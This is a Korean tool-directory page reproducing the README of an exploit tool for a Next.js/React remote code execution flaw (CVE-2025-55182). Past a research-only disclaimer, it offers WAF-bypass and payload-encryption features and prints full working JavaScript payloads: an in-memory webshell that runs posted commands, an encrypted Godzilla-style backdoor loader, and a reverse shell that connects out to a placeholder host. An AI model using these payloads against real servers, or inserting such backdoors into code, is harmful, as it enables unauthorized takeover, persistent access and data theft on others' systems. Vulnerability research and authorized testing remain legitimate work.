Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Nextjs_RCE_Exploit_Tool — CVE-2025-55182 & CVE-2025-66478에 대한 익스플로잇 | Kitploit
도구/GitHubGitHub/pyroxenites/nextjs_rce_exploit_tool
Vulnerability AnalysisExploitationWeb Application ExploitationWAF BypassPenetration TestingCommand and ControlLearning & EducationRed TeamingPayload Development
GitHubpyroxenites/nextjs_rce_exploit_tool

Nextjs_RCE_Exploit_Tool

CVE-2025-55182 & CVE-2025-66478에 대한 익스플로잇

141368개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

Next.js RCE Exploit Tool (CVE-2025-55182)


[!CAUTION] 면책 조항 / Disclaimer

본 도구는 보안 연구 및 교육 목적으로만 사용하십시오. 사용자는 본 도구를 사용하여 테스트를 수행할 때 반드시 대상 시스템에 대한 합법적인 승인을 획득해야 합니다.

무단 침투 테스트, 악의적인 공격 또는 기타 불법적인 용도로의 사용을 엄격히 금지합니다. 취약점을 인지하고 악용함으로써 발생하는 모든 위험과 법적 책임은 사용자 본인에게 있으며, 본 프로젝트 개발자와는 무관합니다.

본 조항에 동의하지 않는 경우 즉시 본 도구의 다운로드 또는 사용을 중단하십시오.

본 도구는 공개된 문서를 기반으로 개발되었으며, 컴파일된 바이너리 릴리스 버전을 제공하지 않습니다. 코드를 직접 감사하고 컴파일하십시오.


🙏 감사 / Credits

본 도구의 핵심 로직과 우회 아이디어는 커뮤니티 보안 연구원들의 연구에서 많은 영감을 받았습니다. 다음 고수님들께 진심으로 감사드립니다:

  • @maple3142
  • @lachlan2k (React2Shell)
  • @phithon (P牛)

✨ 기능 / Features

  • 공격 체인 지원:
    • Prototype Chain
    • Array Map Chain
  • WAF 우회:
    • ✅ Unicode 인코딩
    • ✅ UTF-16LE 인코딩
  • OpSec:
    • 🔐 AES Payload 암호화
  • 도구 모음:
    • 명령 실행: 동기 (execSync) 및 비동기 (exec) 모드를 지원합니다.
    • 파일 관리: 파일 탐색기 스타일 인터페이스로 파일 탐색, 읽기, 쓰기를 지원합니다.
    • 고급 공격: 네이티브 JS 코드 실행, 모듈 로드 (module._load)를 지원합니다.

🛠️ 빠른 시작

1. 취약점 검증 (Nuclei)

Nuclei를 사용하여 대량 핑거프린트 식별 및 취약점 검증:

root@kitploit:~
nuclei -l urls.txt -t CVE-2025-55182.yaml -o result.txt

2. 컴파일 및 실행

root@kitploit:~
# 整理依赖
go mod tidy

# 编译
go build -ldflags="-s -w" -o ReactExploit cmd/main.go

# 运行
./ReactExploit

📸 기능 스크린샷 / Screenshots

1. 인코딩

Config & WAF Bypass

2. 명령 실행 (RCE)

RCE

3. 파일 탐색기

File Explorer File Read

4. 고급 사용법 (Native JS Eval)

JS Eval Module Load

💉 Payload 예제

"고급 공격 -> 네이티브 JS 코드 실행" 모듈에서 다음 Payload를 사용하여 후속 침투 작업을 수행할 수 있습니다.

1. 메모리 셸(Memshell) 주입

cmdlinux

root@kitploit:~
(function(){
    try {
        if (global.memshell_active) return "Memshell already active!";
        var http = process.mainModule.require('http');
        var cp = process.mainModule.require('child_process');
        var qs = process.mainModule.require('querystring');
        var originalEmit = http.Server.prototype.emit;
        http.Server.prototype.emit = function(event, req, res) {
            if (event === 'request' && req && res) {
                var url = req.url || "";
                if (req.method === 'POST' && url.indexOf('/?pass') !== -1) {
                    var bodyArr = [];
                    req.on('data', function(chunk) {
                        bodyArr.push(chunk);
                    });
                    req.on('end', function() {
                        try {
                            var bodyStr = Buffer.concat(bodyArr).toString();
                            var postData = qs.parse(bodyStr);
                            var cmd = postData['pwd'];
                            if (cmd) {
                                var output = cp.execSync(cmd).toString();
                                res.writeHead(200, {'Content-Type': 'text/plain'});
                                res.end(output);
                            } else {
                                res.writeHead(400);
                                res.end("Parameter 'pwd' is missing.");
                            }
                        } catch (e) {
                            res.writeHead(500);
                            res.end("Error: " + e.message);
                        }
                    });
                    return true;
                }
            }
            return originalEmit.apply(this, arguments);
        };
        global.memshell_active = true;
        return "Memshell injected!";
    } catch (e) {
        return "Injection failed: " + e.message;
    }
})()

https://github.com/BeichenDream/GodzillaNodeJsPayload

root@kitploit:~
(function() {
    try {
        if (global.godzilla_memshell_hooked) return "Memshell already hooked!";
        var http = process.mainModule.require('http');
        var secretKey = '3c6e0b8a9c15224a'; 
        var payloadName = 'ge0b8a';
        function rc4(key, data) {
            var s = Array(256), k = Array(256);
            var i, j = 0, tmp;
            for (i = 0; i < 256; i++) {
                s[i] = i;
                k[i] = key.charCodeAt(i % key.length);
            }
            for (i = 0; i < 256; i++) {
                j = (j + s[i] + k[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
            }
            i = j = 0;
            var out = Buffer.alloc(data.length);
            for (var idx = 0; idx < data.length; idx++) {
                i = (i + 1) % 256;
                j = (j + s[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
                var t = (s[i] + s[j]) % 256;
                out[idx] = data[idx] ^ s[t];
            }
            return out;
        }
        var originalEmit = http.Server.prototype.emit;
        http.Server.prototype.emit = function(event, req, res) {
            if (event === 'request' && req && res && req.method === 'POST' && (req.url || "").indexOf('/76f03711') !== -1) {
                var bodyArr = [];
                req.on('data', function(chunk) {
                    bodyArr.push(chunk);
                });
                req.on('end', async function() {
                    try {
                        var bodyStr = Buffer.concat(bodyArr).toString();
                        var json = JSON.parse(bodyStr);

                        if (json.data) {
                            var dataBuf = Buffer.from(json.data, 'base64');
                            var rawBody = rc4(secretKey, dataBuf);
                            if (global[payloadName] === undefined) {
                                try {
                                    var tmpPayload = new Function(rawBody.toString())();
                                    if (typeof tmpPayload === "object" && typeof tmpPayload.process === "function") {
                                        global[payloadName] = tmpPayload;
                                    }
                                } catch (err) {
                                }
                            }
                            if (global[payloadName] !== undefined) {
                                var result = await global[payloadName]['process'].call(global[payloadName], rawBody);
                                var resultBuf = Buffer.isBuffer(result) ? result : Buffer.from(String(result));
                                var encResult = rc4(secretKey, resultBuf);
                                res.writeHead(200, {'Content-Type': 'application/json'});
                                res.end(JSON.stringify({ "data": encResult.toString("base64") }));
                                return;
                            }
                        }
                    } catch (e) {
                    }
                   
                    res.writeHead(200, {'Content-Type': 'application/json'});
                    res.end(JSON.stringify({data: null}));
                });
                return true;
            }
            return originalEmit.apply(this, arguments);
        };
        global.godzilla_memshell_hooked = true;
        return "Godzilla Loader-Mode Memshell injected!";
    } catch (e) {
        return "Injection failed: " + e.message;
    }
})()

2. 리버스 셸 (Reverse Shell)

root@kitploit:~
(function(){
    try {
        var net = process.mainModule.require('net');
        var cp = process.mainModule.require('child_process');
        // 可根据环境修改为 /bin/bash
        var sh = cp.spawn('/bin/sh', ['-i']);
        var client = new net.Socket();
        
        client.on('error', function(err) {
            if (sh) sh.kill(); 
        });
        sh.on('error', function(err) {
            if (client) client.destroy();
        });
        
        client.connect(4444, 'x.x.x.x', function(){
            client.pipe(sh.stdin);
            sh.stdout.pipe(client);
            sh.stderr.pipe(client);
        });
        return "Spawned successfully (Async)";
    } catch (e) {
        return "Failed to spawn: " + e.message;
    }
})();

도구 다운로드